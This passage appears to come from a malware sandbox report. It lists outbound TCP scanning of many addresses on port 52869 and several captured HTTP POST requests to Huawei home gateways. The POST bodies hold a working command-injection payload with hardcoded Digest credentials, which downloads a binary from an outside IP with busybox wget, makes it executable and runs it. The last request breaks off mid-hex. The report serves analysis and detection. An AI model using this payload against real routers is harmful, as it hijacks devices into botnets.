    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.29.52.21:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.66.128.113:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.175.111.148:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.188.164.75:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.84.227.205:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.182.85.180:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.207.92.11:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.195.35.65:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.21.29.221:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.202.20.171:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.241.197.229:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.171.204.104:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.165.28.23:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.38.115.89:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.241.138.15:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.16.38.1:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.11.167.232:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.153.170.245:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.133.16.17:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.12.219.178:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.203.44.210:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.100.165.30:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.46.157.107:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.119.183.90:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.61.251.194:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.132.185.254:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.10.6.110:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.253.121.189:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.252.130.81:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.142.241.169:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.202.17.45:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.129.76.214:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.213.128.78:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.35.190.54:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.206.221.108:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.145.255.53:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.238.12.210:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.235.185.25:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.83.128.133:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.220.211.172:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.254.123.214:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.102.245.151:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.250.83.227:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.114.7.210:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.98.65.116:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.3.91.111:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.189.53.172:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.254.215.11:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.182.249.77:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.226.205.28:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.198.45.29:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.196.82.143:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.124.139.118:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.247.222.144:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.70.140.189:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.187.15.122:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.14.87.110:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.233.70.161:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.1.140.24:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.185.4.122:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.158.200.144:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.78.84.221:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.183.221.248:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.84.141.120:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.246.23.34:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.204.22.32:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.231.84.54:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.159.174.174:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.124.250.22:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.147.200.61:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.134.213.231:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.132.173.61:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.208.111.113:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.104.12.150:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.239.227.171:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.59.225.207:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.162.110.31:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.185.250.103:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.143.135.249:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.146.157.17:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.167.54.201:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.186.46.103:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.28.68.173:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.196.77.10:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.82.30.204:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.248.152.190:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.125.132.218:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.105.137.218:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.5.168.42:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.154.244.170:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.168.203.221:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.125.69.133:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.172.254.48:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.126.178.188:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.211.147.76:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.134.104.186:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.121.227.17:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.198.184.35:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.178.35.136:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.55.64.12:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.152.5.227:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.34.144.67:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.151.25.81:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.74.122.32:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.111.106.50:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.246.199.0:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.230.62.183:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.211.218.89:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.183.245.199:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.114.68.59:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.131.124.183:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.205.183.115:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.146.151.202:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.125.160.76:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.133.57.46:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.109.80.161:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.4.110.177:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.184.81.245:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.69.104.48:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.79.225.37:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.237.12.198:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.151.7.210:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.110.82.94:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.98.1.206:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.43.186.27:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.22.184.252:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.186.232.201:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.28.230.127:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.212.219.41:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.133.180.104:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.55.73.8:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.153.61.81:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.11.89.31:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.24.67.93:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.26.47.248:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.103.57.74:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.52.199.173:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.158.247.55:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.206.127.157:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.56.96.176:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.24.75.180:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.5.156.16:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.38.176.56:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.115.110.191:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.10.188.89:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.14.42.113:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.117.30.33:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.147.161.134:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.75.76.111:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.146.51.38:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.21.28.172:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.10.102.83:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.214.36.98:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.59.155.68:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.86.151.152:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.0.177.41:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.140.64.34:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.167.123.126:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.219.194.216:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.60.40.224:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.212.120.185:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.166.209.251:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.37.94.213:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.139.53.162:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.212.87.253:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.160.93.177:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.248.107.155:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.121.5.19:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.210.35.204:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.42.138.10:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.83.164.193:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.50.218.89:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.122.143.56:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.95.134.83:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.142.31.185:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.192.107.235:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.198.131.117:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.205.244.244:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.239.205.176:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.15.87.150:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.82.2.92:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.218.187.63:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.95.218.157:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.33.178.217:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.119.249.137:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.224.174.13:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.88.227.58:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.144.209.61:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.134.71.157:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.112.215.63:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.37.84.30:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.215.176.99:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.191.34.198:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.86.106.84:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.73.221.58:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.106.221.60:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.195.58.207:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.43.34.234:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.226.231.109:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.204.65.214:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.104.203.82:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.225.84.64:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.185.133.30:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.41.117.129:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.169.245.47:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.185.170.71:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.144.196.226:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.177.69.95:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.211.6.243:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.96.244.147:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.37.155.37:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.100.13.135:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.229.238.229:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.174.108.6:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.67.139.170:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.47.219.204:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.206.176.3:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.161.152.2:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.53.28.191:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.208.143.250:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.207.233.47:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.70.254.227:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.36.15.48:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.232.149.147:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.7.51.67:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.147.221.10:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.167.235.39:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.229.132.232:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.211.137.112:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.109.13.210:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.159.243.28:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.78.36.12:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.211.86.181:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.224.51.86:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.122.197.10:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.228.240.110:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.83.154.252:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.0.83.216:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.1.239.180:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.205.50.180:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.37.82.172:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.102.158.118:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.58.231.226:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.160.73.11:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.242.220.136:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.1.32.79:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.64.168.50:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.234.217.32:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.213.162.73:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.63.148.18:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.31.134.223:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.194.188.61:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.12.90.234:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.33.210.207:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.196.185.75:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.144.114.73:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.180.8.96:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.219.187.41:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.163.11.88:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.43.226.223:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.120.160.8:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.103.41.6:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.10.91.93:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.136.25.54:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 91.232.208.103:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.26.208.131:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 185.252.199.154:52869
    Source: global trafficTCP traffic: 192.168.2.15:7480 -> 45.179.81.113:52869
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 